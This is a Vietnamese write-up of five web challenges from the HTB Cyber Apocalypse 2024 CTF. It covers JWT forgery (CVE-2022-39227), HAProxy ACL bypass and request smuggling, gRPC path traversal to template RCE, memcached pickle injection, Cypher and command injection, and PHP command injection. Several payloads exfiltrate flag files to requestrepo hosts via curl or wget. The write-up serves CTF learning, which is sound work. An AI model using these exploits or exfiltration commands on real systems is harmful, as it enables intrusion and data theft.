HTB Cyber Apocalypse CTF 2024: Hacker Royale Write Up
Web
Local Talk
credit: NgocTran
Preface
Đây là challenge từ giải Cyber Apocalypse 2024: Hacker Royale - After Party
. Một challenge rất thú vị khi nó tồn tại hai lỗ hổng đáng chú ý CVE-2023-45539 và CVE-2022-39227. Bằng cách bypass HAproxy ACL
dẫn đến việc truy cập vào được endpoint chứa đoạn jwt
sử dụng python_jwt
module version 3.3.3, ta có thể sử dụng hai lỗ hổng trên để thay đổi role của user từ đó giúp ta lấy được flag.
Recon
Challenge cung cấp cho chúng ta 3 api bảo gồm /api/v1/get_ticket
, /api/v1/chat/{chatId}
và /api/v1/flag
/api/v1/get_ticket
@api_blueprint.route('/get_ticket', methods=['GET']) def get_ticket(): claims = { "role": "guest", "user": "guest_user" } token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60)) return jsonify({'ticket: ': token})
Có vẻ tại endpoint này ta có thể tạo một đoạn token sử dụng PS256 - là một thuật toán chữ ký điện tử dựa trên chuỗi (Elliptic Curve Digital Signature Algorithm - ECDSA) được sử dụng trong JSON Web Signature (JWS). Tại đây ta có thể chú ý
role
củauser
được xét mặc định làguest
./api/v1/get_ticket
@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
return jsonify({'message': current_app.config.get('FLAG')}), 200
Để lấy được flag có vẻ ta phải set lại sao cho role
được đặt là administrator
Như vậy mục tiêu bây giờ ta cần thay đổi role
của user
trong token là administrator
. Tuy nhiên vấn đề xảy ra ở đây là khi ta truy cập vào endpoint /api/v1/get_ticket
nói trên nó lại trả về cho chúng ta status_code 403
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
Tiếp tục đi sâu vào challenge thì mình tìm được một đoạn HAproxy đã được config như trên
Access Control List (ACL) trong HAProxy: ACL là một cách để xác định các điều kiện để áp dụng các hành động cụ thể trên các yêu cầu hoặc kết nối. Chúng cho phép bạn thực hiện các quy tắc phân tách dựa trên các tiêu chí như địa chỉ IP, đường dẫn URL, header HTTP, và nhiều điều kiện khác để quyết định cách xử lý yêu cầu
Ở đoạn config nêu trên ta có thể dễ dang thấy HAProxy cấu hình lắng nghe cổng 1337, chuyển hướng yêu cầu không khớp đến backend backend
. ACL kiểm tra đường dẫn yêu cầu, từ chối yêu cầu bắt đầu bằng /api/v1/get_ticket
.
Wait, I can bypass this?
Get access ticket by bypassing HAProxy ACL with # fragment
Sau khi thực hiện googling mình phát hiện ta có thể sử dụng dấu #
để có thể bypass qua việc config http-request deny
. Cụ thể: HAProxy trước phiên bản 2.8.2 chấp nhận ký tự "#
" trong phần URI, điều này có thể cho phép các kẻ tấn công từ xa thu thập thông tin nhạy cảm hoặc có tác động không xác định khác khi phân tích sai quy tắc path_end
, ví dụ như định tuyến index.html#.png
đến một máy chủ tĩnh
Forging a new JWT Token with tampered claims in order to bypass role restrictions
Sau khi có thể tạo ra được token, công việc của chúng ta đến chỉ cần thay đoạn token sao cho role của user thành administrator
Sau khi biết được nó sử dụng pyjwt 3.3.3
mình ngay lập tức google vài đường thì được biết tại phiên bản này nó tồn tại một lỗ hổng CVE-2022-39227
. Hãy đề cập một chút về lỗ hổng này:
#test/vulnerability_vows.py
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' +signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
Ta có thể thấy rằng JWT ban đầu được chia thành [header, payload, signature]
ba phần, sau đó payload, đó là phần chứa thông tin ban đầu, được lấy ra, và sau đó thêm vào Sau khi đánh giả nội dung, mã hóa lại với base64 (separators=(',', ':')
phần này tương đương với việc loại bỏ các khoảng trắng sẽ được thêm khi mã hóa trực tiếp) để tạo ra payload giả mạo, và cuối cùng xây dựng và tạo ra một JWT mới theo dạng sau đây (trong thực tế, không thể nói là một JWT nữa, bởi vì chuỗi được tạo ra không còn gì của JWT nữa).
{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}
Chúng ta hãy đi sâu vào chi tiết hơn, mình có tạo một đoạn code demo ở đây:
#testFakeJWT.py
from json import *
from python_jwt import *
from jwcrypto import jwk
payload={'username':"jlan","secret":"10010"}
key=jwk.JWK.generate(kty='RSA', size=2048)
jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60))
[header, payload, signature] = jwtjson.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload['username']="admin"
parsed_payload['secret']="10086"
fakepayload=base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(verify_jwt(fakejwt, key, ['PS256']))
#{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'}
#({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'})
Phân tích
Có thể thấy rằng JWT được chia thành các phần header, claims, signature dựa trên dấu chấm (.) và được lưu vào các biến tương ứng, sau đó phần header được giải mã base64. Việc giải mã ở đây sẽ bỏ qua các ký tự không phải base64, và các thuộc tính sẽ được kiểm tra một cách tuần tự (khi tham số ignore_not_implemented
không được cung cấp hoặc False).
Nhìn xuống phần if pub_key:
, nếu chúng ta truyền vào khóa, chữ ký JWT sẽ được phân tích. Hãy tiếp tục theo dõi token.deserialize(jwt, pub_key)
để xem quá trình xác minh.
Có thể thấy rằng JWT ban đầu được nhận vào đầu tiên được thử để được phân tích dưới dạng json, sau đó chữ ký được xác minh. Hàm _deserialize_signature
sẽ phân tích và lấy ra chữ ký. Hàm _deserialize_b64
liệu rằng nội dung xác minh cần được giải mã base64 không?
Tóm lại, nội dung ở phần trước của hàm này là giải mã dữ liệu trong định dạng json và gán các thuộc tính tương ứng được yêu cầu bởi JWT cho đối tượng o
. Trong json mà chúng ta xây dựng, tất cả các thuộc tính của o đều từ JWT bình thường ban đầu. Sau khi hoàn thành việc phân tích, self.objects
sẽ được gán một giá trị của o
, và cuối cùng là vào hàm verify
.
Bạn có thể thấy ở đây nó thực sự kiểm tra từng phần của JWT. Điều mà nó kiểm tra ở đây là JWT ban đầu hoàn chỉnh, vì vậy chắc chắn không có vấn đề gì với điều này, và việc xác minh này chắc chắn có thể thông qua
Chúng ta hãy quay trở lại với ___init__.py
Ta có thể thấy rằng sau khi xác minh, không có sử dụng lại token
. Sau đó, một số tham số trong header
và claims
được kiểm tra, và parsed_header
và parsed_claims
được trả về. Như vậy, sau khi xác minh toàn bộ JWT, dữ liệu đã được xác minh không được trả về, mà thay vào đó là dữ liệu sau các dấu chấm ban đầu được trả về.
Lúc này đoạn exploit của chúng ta có dạng
{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}
Như đã thấy ở trên, json mà chúng ta truyền vào đầu tiên được chia thành các phần dấu chấm trong định dạng chuỗi. Phần thứ hai là phần payload giả mạo của chúng ta. Chúng ta chỉ cần lấy ra payload ban đầu và sửa đổi nó.
Exploit
from datetime import timedelta
from json import loads, dumps
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
from pprint import pprint
class ForgedClaims:
def create(self):
""" Generate token """
# payload = {'sub': 'alice'}
token = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAxNDc1MTksImlhdCI6MTcxMDE0MzkxOSwianRpIjoiYmQtcW5GYnBqcUhpbEFSeXN5aGwyUSIsIm5iZiI6MTcxMDE0MzkxOSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.s569WtLjeq3NQSI9GXVDfTYJSUrxdEGtCBnxjHnwEa6UWwS6RNfLF-qMjvAc-GiqHzG1Wx1SQd1tsqIqnIF6zz9zXFQaSimFgnYE0HvUwaI_XhzBJA-ZxmrgetgJjbOhKBOopKIXmtUt-LPE2tsB3yr6SJe-C2RvFlTzrgQMDrOtRBJJiXfYne1QI4nnXUFY0XsNXCpKQIe6ELHNmeE-F6Fj5s1AJwUEBwWJNVnmw_s5mVbL1hvIE54e2mJg5VK8PfCLXx4u-ghVRgGDRkUza4UpgM8nrSmTj5d40iREyz9M6PDvi0TFhuVvlQStrpz0UId-uyL4-Vwp9UnTOSNBRA"
return token
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload['role'] = 'administrator'
parsed_payload['user'] = 'admin_user'
print(parsed_payload)
# parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
claime__ = ForgedClaims()
jwt = claime__.create()
print(claime__.topic(jwt))
Result
Flag
HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}
Testimonial
credit: NgocTran
Preface
Ta tiếp tục đến với challenge thứ hai, cũng là một challenge rất hay khi cách giải của nó lại không khó như ban đầu mình nghĩ bằng cách thay vì connect tới server chính, ta lại giải quyết bằng cách sử dụng grpc
để tương tác và thực hiện ghi đè file nhằm trigger RCE.
Recon
Đi vào trang web của challenge thì ở đây có vẻ nó cho phép ta ghi nội dung và tên file sau đó được lưu trên server tại public/testimonials
Tuy nhiên tên file đã bị filter, điều này có vẻ khiến chúng ta không thể trigger được path traversal nhằm ghi đè file khác lên server nhằm mục đích RCE
Yeah một câu hỏi là How?
lại bắt đầu
Hãy chú ý đến việc đoạn code có sử dụng gRPC
Đôi nét về gRPC
gRPC là một framework mã nguồn mở được Google phát triển, được sử dụng để tạo ra các dịch vụ RPC (Remote Procedure Call) hiệu suất cao, có khả năng đa ngôn ngữ và có khả năng mở rộng. gRPC sử dụng Protocol Buffers (protobuf) làm công cụ mô tả giao diện dịch vụ và định dạng dữ liệu. Nó cho phép tạo ra các dịch vụ và clients ở nhiều ngôn ngữ khác nhau, với khả năng tạo mã tự động từ mô tả giao diện. Các dịch vụ gRPC có thể sử dụng HTTP/2 để tận dụng các tính năng như multiplexing, độ trễ thấp, và giao thức mã hóa.
Như đã nói ở trên việc filter chỉ diễn ra trên đoạn xử lý với client, tuy nhiên server lại cung cấp cho ta hai server và một trong số đó là gRPC vậy điều gì xảy ra khi chúng ta sử dụng server thứ hai này để ghi đè file inject SSTI để RCE. Lúc này việc lọc tên file hay
..
cũng sẽ không xảy ra vì lúc này ta chỉ tương tác với gRPC.
gRPC command line tool
Sau khi googling mình tìm được repo này khá thú vị.
Sử dụng nó chúng ta có thể liệt kê các services bằng cách specifying the proto file
./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 list
RickyService
Tiếp tục , describe the service
./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 describe RickyService
RickyService is a service:
service RickyService {
rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}
Tuy nhiên, sau khi mình thử invoke RPC thì server does not support the reflection API
./grpcurl -plaintext 94.237.53.3:49854 RickyService.TestimonialSubmission
Error invoking method "RickyService.TestimonialSubmission": failed to query for service descriptor "RickyService": server does not support the reflection API
Tiếp tục tìm kiếm thì mình đọc được docs như sau:
To use grpcurl on servers that do not support reflection, you can use .proto source files.
In addition to using -proto flags to point grpcurl at the relevant proto source file(s), you may also need to supply -import-path flags to tell grpcurl the folders from which dependencies can be imported.
./grpcurl -plaintext -d '{"customer": "test", "testimonial": "test"}' -import-path challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 RickyService.SubmitTestimonial
{
"message": "Testimonial submitted successfully"
}
Yeah chúng ta đã thành công ghi được file lên gRPC thông qua grpcurl Như mình đã nói ở trên việc sử dụng gRPC để ghi file thì có thể chúng ta sẽ không bị filter lọc, lúc này việc path traversal để ghi đè file lại trở nên dễ dàng. Mình dựng lại challenge ở local và test xem liệu suy đoán của mình có đúng không.
./grpcurl -plaintext -d '{"customer": "../../../../haha.txt", "testimonial": "no for test"}' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial
{
"message": "Testimonial submitted successfully"
}
$ docker exec -it web_testimonial bash
~ # ls /
bin flaga8f171e25e.txt mnt sbin usr
challenge go opt srv var
dev home proc sys
entrypoint.sh lib root haha.txt
etc media run tmp
Ghi file thành công, vậy điều gì nếu ta có thể ghi đè lại file index.templ
do ta đã cấu hình lại với đoạn code nhằm trigger rce như sau:
package home
import (
"os/exec"
"strings"
)
func hack() []string {
output, _ := exec.Command("ls", "/").CombinedOutput()
lines := strings.Fields(string(output))
return lines
}
templ Index() {
@template(hack())
}
templ template(items []string) {
for _, item := range items {
{item}
}
}
Exploit
./grpcurl -plaintext -d '{"customer": "../../view/home/index.templ", "testimonial": "package home\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc hack() []string {\n\toutput, _ := exec.Command(\"cat\", \"/flagbba4cb647c.txt\").CombinedOutput()\n\tlines := strings.Fields(string(output))\n\treturn lines\n}\n\ntempl Index() {\n\t@template(hack())\n}\n\ntempl template(items []string) {\n\tfor _, item := range items {\n\t\t{item}\n\t}\n}" }' -import-path challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 RickyService.SubmitTestimonial
{
"message": "Testimonial submitted successfully"
}
Flag
HTB {w34kly_t35t3d_t3mplate5}
SerialFlow
credit: hackerga2101
About vulnerebility
Memcache Remote Code Execution via SSRF by serialized data injection into Memcached
Documentation: https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/
Exploit
- Challenge có 2 routes: / and /set cho phép custom lại color của website
- Và 2 handlers để xử lý errors và sessions trước mọi request
- Mình nhận thấy 2 routes chính không có vuln nhưng server đang mở port 11211 cho memcached
Sau khi search về memcached mình phát hiện ra có vuln serialized data injection vào Memcached
Thông qua việc tạo session, ta có thể inject nó vào memcached (python pickle) để serialize data ta truyền vào
Mình tìm một bài viết khai thác khá giống với challenge hiện tại (nhưng không thành công khi inject vào param uicolor ở route/set)
Hold up, để ý session handler, ta cũng có thể tùy chỉnh session theo ý mình(và nó được tạo trước khi vào bất kỳ routes nào)
Ta có một inject point mới (đó là session cái sẽ được khởi tạo trước uicolor)
Follow bài viết mình có set và get format command của memcached
- Build local và bắt gói tin bằng wireshark, bạn sẽ thấy được giá trị của set command
- Custom lại poc để exploit:
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('wget http://y8gdi5i3.requestrepo.com/$(cat /f*)')
return os.system, (cmd,)
def generate_exploit():
payload = pickle.dumps(RCE(), 0)
payload_size = len(payload)
cookie = b'\r\nset session:f0965c70-401b-4b6f-932c-b251165c1d5d 0 2592000 '
cookie += str.encode(str(payload_size))
cookie += str.encode('\r\n')
cookie += payload
cookie += str.encode('\r\n')
cookie += str.encode('get session:f0965c70-401b-4b6f-932c-b251165c1d5d')
pack = ''
for x in list(cookie):
if x > 64:
pack += oct(x).replace("0o","\\")
elif x < 8:
pack += oct(x).replace("0o","\\00")
else:
pack += oct(x).replace("0o","\\0")
return f"\"{pack}\""
print(generate_exploit())
Mình tạo pickle payload để execute os.system curl đến requestrepo với path là flag
Vì session bị limited 86 kí tự, nên mình giảm command xuống
Lưu ý rằng bạn cần build poc bằng linux hoặc ubuntu
Sau khi gửi payload injection vào session, bạn cần gửi thêm 1 request bất kì đẩy payload inject vào memcached để serialize
Và thành công lấy flag
Percetron
credit: chuong
Preface
Bài này team mình không làm được mà @kev1n "bắt" mình viết writeup lại nên mình đọc từ writeup này của team Friendly Maltese Citizens (Top 1 giải này)
Overview
Thông tin Users
được lưu trữ trong MongoDB
, sau khi register và login ta vào được trang chủ:
Web sẽ chứa thông tin về các Certificate
và Host
(với mối quan hệ HAS_CERTIFICATE
) được xậy dựng dựa trên Neo4j
:
Đi vào source code: routes/generic.js
chứ 2 endpoints đều nhận vào param url
:
/healthcheck
: tạo ra request GET tớiurl
, tuy nhiên đã bị filter:
exports.check = (url) => {
const parsed = new URL(url);
if (isNaN(parseInt(parsed.port))) {
return false;
}
if (parsed.port == "1337" || parsed.port == "3000") {
return false;
}
if (parsed.pathname.toLowerCase().includes("healthcheck")) {
return false;
}
const bad = ["localhost", "127", "0177", "000", "0x7", "0x0", "@0", "[::]", "0:0:0", "①②⑦"];
if (bad.some(w => parsed.hostname.toLowerCase().includes(w))) {
return false;
}
return true;
}
/healthcheck-dev
: Thực hiện request HEAD tới url và trả về statusCode:
exports.getUrlStatusCode = (url) => {
return new Promise((resolve, reject) => {
const curlArgs = ["-L", "-I", "-s", "-o", "/dev/null", "-w", "%{http_code}", url];
execFile("curl", curlArgs, (error, stdout, stderr) => {
if (error) {
reject(error);
return;
}
const statusCode = parseInt(stdout, 10);
console.log(statusCode)
resolve(statusCode);
});
});
}
Endpoint này đã chặn bởi HaProxy với option:
backend forward_default
http-request deny if { path -i -m beg /healthcheck-dev }
server s1 127.0.0.1:3000
Ngoài ra user có permission
là administrator
sẽ có thêm 2 chức năng tại /panel/management/addcert
và /panel/management/dl-certs
Flag được tạo random trên server => cần phải RCE
Bypass HAProxy via HTTP Request Smuggling
Tại /healthcheck
được filter khá chặt => khó bypass, nên ta có thể bypass proxy để từ /healthcheck-dev
HaProxy
trong bài sử dụng version 2.3
, theo CVE-2023-25725:
HTTP Request Smuggling là một kỹ thuật tấn công mạng nhằm khai thác sự không nhất quán trong cách xử lý HTTP request giữa các server, thường là proxy với back-end. Mục tiêu của tấn công này là "lừa" server hoặc proxy gửi một HTTP request bị tấn công (smuggled request) đến server tiếp mà không được phát hiện hoặc xử lý đúng cách, cho phép attacker thực hiện các hành động độc hại.
Tham khảo thêm tại PortSwigger.
Như vậy trong header parser với HTTP/1 trên HaProxy
chấp nhận việc sử dụng header trống, điều này có thể dẫn đến việc cắt bỏ một số header sau header rỗng, có nghĩa là nó không được xem xét hoặc xử lý như thể chúng không tồn tại.
Khai thác:
Kết quả:
Như vậy là đã bypass được proxy để có thể có thể thiết lập cuộc tấn công SSRF.
Gopher SSRF
Gopher
là một giao thức truyền tải tài liệu dựa trên HTTP và được thiết kế để cung cấp truy cập dễ dàng đến các tài nguyên trên Internet. Nó cho phép gửi các TCP request tùy ý với syntax: gopher://[ip]:[port]/_[url encoded payload]
. Việc mongodb
không sử dụng credentials để tương tác với database, ta có có thể lợi dụng gopher để thao tác với database.
Format của document:
{ "_id" : ObjectId("65f79d9bb32c0e04c4ac2c21"), "username" : "a", "password" : "$2a$10$HcA4GJoPIT.zWGNT7/IElOi4C5pWyBVGBQ78xRI.gBWOU/6eRLoE2", "permission" : "user", "__v" : 0 }
Trong MongoDB hay một số NoSQL khác, dữ liệu được truyền giữa client và server thông qua giao thức TCP/IP, dữ liệu được mã hóa và giải mã thành định dạng BSON. Server MongoDB nhận được gói tin, giải mã dữ liệu BSON và xử lý truy vấn. Tóm lại script tạo user b:b
có permission
là administrator
:
const BSON = require("bson");
const bcrypt = require("bcryptjs");
function bufferToURLEncoded(buffer) {
return buffer.toString('hex').toUpperCase().replace(/../g, '%$&');
}
(async () => {
const doc = {
insert: 'users',
documents: [
{
_id: new BSON.ObjectId(),
username: 'b',
password: await bcrypt.hash('b', 10),
permission: 'administrator',
}
],
ordered: true,
'$db': 'percetron',
};
const data = BSON.serialize(doc);
let beginning = Buffer.from(
"000000000000000000000000DD0700000000000000",
"hex"
);
let payload = Buffer.concat([beginning, data]);
payload.writeUInt32LE(payload.length, 0);
console.log(bufferToURLEncoded(payload));
})();
Tìm hiểu script rõ hơn trong bài ctf này: https://brycec.me/posts/starctf2021_writeups#oh-my-bet
Payload được tạo:
Tìm hiểu về payload này tại MongoDB Wire Protocol
Gửi request:
Kết quả sẽ có user được thêm vào database:
Login:
RCE
Sau khi vào admin
, ta có thêm 2 chức năng
1. /panel/management/addcert
Enpoint này để thêm cert:
router.post("/panel/management/addcert", adminMiddleware, async (req, res) => {
const pem = req.body.pem;
const pubKey = req.body.pubKey;
const privKey = req.body.privKey;
if (!(pem && pubKey && privKey)) return res.render("error", {message: "Missing parameters"});
const db = new Neo4jConnection();
const certCreated = await db.addCertificate({"cert": pem, "pubKey": pubKey, "privKey": privKey});
console.log(certCreated)
if (!certCreated) {
return res.render("error", {message: "Could not add certificate"});
}
res.redirect("/panel/management");
});
Đi vào hàm addCertificate
ta thấy được input này sẽ được parsed:
const certInfo = parseCert(cert.cert);
Về x509.js có 2 hàm:
Hàm
generateCert
nhận các thông tin vềdomain
,org
,locality
,state
,country
. Nó sử dụng thư việnnode-forge
để tạo một cặp khóa RSA, sau đó tạo cert SSL dựa trên các thông tin đã cung cấp. Cuối cùng, nó trả về public key, private key và PEM (vì vậy ta dựa vào đây để xây dựng script tạo cert)Hàm parseCert nhận PEM và parse nó qua thư viện
node-forge
.
Các thông tin lưu vào biến certInfo để đưa vào query Cypher sau:
CREATE (:Certificate {
common_name: '${certInfo.issuer.commonName}',
file_name: '${certPath}',
org_name: '${certInfo.issuer.organizationName}',
locality_name: '${certInfo.issuer.localityName}',
state_name: '${certInfo.issuer.stateOrProvinceName}',
country_name: '${certInfo.issuer.countryName}'
});
Sau đó query được thực thi:
async runQuery(query, params = {}) {
const result = await this.session.run(query, params);
return result.records;
}
Như vậy việc truyền trực tiếp input và thực thi như thế này sẽ tiềm ẩn lỗ hổng Cypher Injection.
2. /panel/management/dl-certs
Chức năng này là zip các certs lại.
router.get("/panel/management/dl-certs", adminMiddleware, async (req, res) => {
const db = new Neo4jConnection();
const certificates = await db.getAllCertificates();
let dirsArray = [];
for (let i = 0; i < certificates.length; i++) {
const cert = certificates[i];
const filename = cert.file_name;
const absolutePath = path.resolve(__dirname, filename);
const fileDirectory = path.dirname(absolutePath);
dirsArray.push(fileDirectory);
}
dirsArray = [...new Set(dirsArray)];
const zipArray = [];
let madeError = false;
for (let i = 0; i < dirsArray.length; i++) {
if (madeError) break;
const dir = dirsArray[i];
const zipName = "/tmp/" + randomHex(16) + ".zip";
sevenzip.compress("zip", {dir: dir, destination: zipName, is64: true}, () => {}).catch(() => {
madeError = true;
})
zipArray.push(zipName);
}
if (madeError) {
res.render("error", {message: "Error compressing files"});
} else {
res.send(zipArray);
}
});
Dòng code zip file:
sevenzip.compress("zip", {dir: dir, destination: zipName, is64: true}, () => {}).catch(() => {
madeError = true;
})
Đi vào thư viện sevenzip:
Thư viện này sử dụng child_process.execFile(file[, args][, options][, callback])
để thực thi command, đối với compress
:
Việc có option shell : true
, command sẽ được chỉ định thực thi dưới dạng shell, và trên Unix như bài này, shell mặc định là /bin/sh
. Đi tiếp vào hàm buildCommandArgs
:
Theo như code parameters được truyền vào là {dir: dir, destination: zipName, is64: true}
, ta có thể kiểm soát được dir
, từ đó thực hiện được command injection trong thư viện này.
3. Command Injection
Xem lại đoạn code tạo biến dir tức là tên thư mục chứa cert:
const filename = cert.file_name;
const absolutePath = path.resolve(__dirname, filename);
const fileDirectory = path.dirname(absolutePath);
Nó được trả về qua 2 hàm trên, vì ta có thể kiểm soát được filename dựa vào cert nên có thể custom được fileDirectory
phù hợp để có thể khai thác.
Ví dụ như:
Như vậy ta có thể thực hiện command injection với filename là $(curl -d "$(cat /flag*)" http://vpcow77t.requestrepo.com)/a
để đọc flag.
4. Cypher Injection (Neo4j)
Neo4j là một graph database, nó lưu trữ và truy xuất dữ liệu theo dạng graph với các nodes và relationships.
Cypher
là ngôn ngữ truy vấn dữ liệu được sử dụng với Neo4j
. Nó cho phép người dùng truy vấn và thao tác với database của Neo4j một cách hiệu quả.
Tham khảo thêm tại: Cypher Docs
Mặt khác filename
được lấy từ cert, như đã nói trong phần trên ta sẽ khai thác cypher injection tại đây.
Payload cũng sẽ tương tự như trong SQL Injection trong câu lệnh Insert
'}), (:Certificate { file_name: '<payload>
Script tạo cert:
const fs = require("fs");
const forge = require("node-forge");
const file_path = `$(curl -d "$(cat /flag*)" http://vpcow77t.requestrepo.com)/`;
const subject = [{
name: "countryName",
value: '',
}, {
name: "stateOrProvinceName",
value: '',
}, {
name: "localityName",
value: '',
}, {
name: "organizationName",
value: '',
}, {
name: "commonName",
value: `'}), (:Certificate { file_name: '${file_path}`,
}];
const keys = forge.pki.rsa.generateKeyPair(2048);
const publicKey = forge.pki.publicKeyToPem(keys.publicKey);
const privateKey = forge.pki.privateKeyToPem(keys.privateKey);
const cert = forge.pki.createCertificate();
cert.publicKey = keys.publicKey;
cert.serialNumber = "01";
cert.validity.notBefore = new Date();
cert.validity.notAfter = new Date();
cert.validity.notAfter.setFullYear(cert.validity.notBefore.getFullYear() + 1);
cert.setSubject(subject);
cert.setIssuer(subject);
cert.sign(keys.privateKey);
fs.writeFileSync('cert.json', JSON.stringify({
"privKey": privateKey,
"pubKey": publicKey,
"cert": forge.pki.certificateToPem(cert)
}));
cert.json
thu được:
Script thêm cert và thực hiện zip file:
import json
import requests
target = 'localhost:1337'
with open('cert.json', 'r') as f:
cert = json.load(f)
cookies = {"connect.sid": "s%3Axm6-LE0YXK2AdAEkPx5cX2wsJl9dx9W2.aejSo%2FkqyaXigEMfN0dxG2pM6sgl4kQPuHso1pe0YkY"}
requests.post(f'http://{target}/panel/management/addcert', cookies=cookies, data=cert)
requests.get(f'http://{target}/panel/management/dl-certs', cookies=cookies)
Kết quả:
Time KORP
credit: l3mnt2010
Đây là một bài command injection đơn giản với mã nguồn php.
RECON
Đề bài cho ta source code, trước tiên thì xem cơ bản chức năng đã nha :<
Vào trang ta có thể thấy trang có 2 chức năng chính là hiển thị ngày và hiển thì giờ.
Chức năng hiện thị giờ
Sever nhận param format của giờ là %H:%M:%S
để hiển thị giờ. Chức năng hiển thị ngày/tháng/năm
Sever nhận param format là %Y-%m-%d để hiển thị.
DETECT
Okeee, như ta thấy thì chưa có lỗ hổng gì có thể tìm thấy ở trên cùng viewwww source nào 💯
Nhìn một cách tổng quan ta có thể thấy cấu trúc cây thư mục viết theo mô hình MVC khá phổ biến hiện nay :>
Những điểm quan trọng để giải quyết
views/index.php
<h1 class="jumbotron-heading">><span class='text-muted'>It's</span> <?= $time ?><span class='text-muted'>.</span></h1>
Ngoài những phần css và js thì chỉ có điểm này để hiển thị ngày giờ như ở trên ta phân tích.
Dockerfile
FROM debian:buster-slim
# Setup user
RUN useradd www
# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release wget
# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list
# Install PHP dependencies
RUN apt update && apt install -y php7.4-fpm
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.4/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
# Copy challenge files
COPY challenge /www
# Setup permissions
RUN chown -R www:www /www /var/lib/nginx
# Copy flag
COPY flag /flag
# Expose the port nginx is listening on
EXPOSE 80
# Populate database and start supervisord
CMD /usr/bin/supervisord -c /etc/supervisord.conf
Đoạn này thì chỉ cần chú ý là flag nằm trong /flag
thui :>
/index.php
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
$router = new Router();
$router->new('GET', '/', 'TimeController@index');
$response = $router->match();
die($response);
Mã trên sẽ map controller và model và cả TimeController@index
thui nha.
Cũng tương tự với Route.php
Nói khá nhiều nhưng mà phần mấu chốt chỉ có ở đây thoiiiii
Như ta có thể thấy param format nhận được sẽ được nhận để khởi tạo một đối tượng qua class TimeModel
và map kết quả tra ra ở template
models/TimeController.php
<?php
class TimeModel
{
public function __construct($format)
{
$this->command = "date '+" . $format . "' 2>&1";
}
public function getTime()
{
$time = exec($this->command);
$res = isset($time) ? $time : '?';
return $res;
}
}
Trong class TimeModel
sẽ khởi tạo với biến format ở trên sẽ tạo 1 command và khi gọi phương thức getTime()
và exec command
Hmm, thì đây là mình có thể vận dụng để tấn công commandinjection.
ATTACK
Đầu tiên mình thử dùng curl thì sever không có, thử tiếp đến wget với payload: ';wget+--post-data+"$(cat+/flag)"+-O-+s6thtnzk.requestrepo.com'
Kết quả:
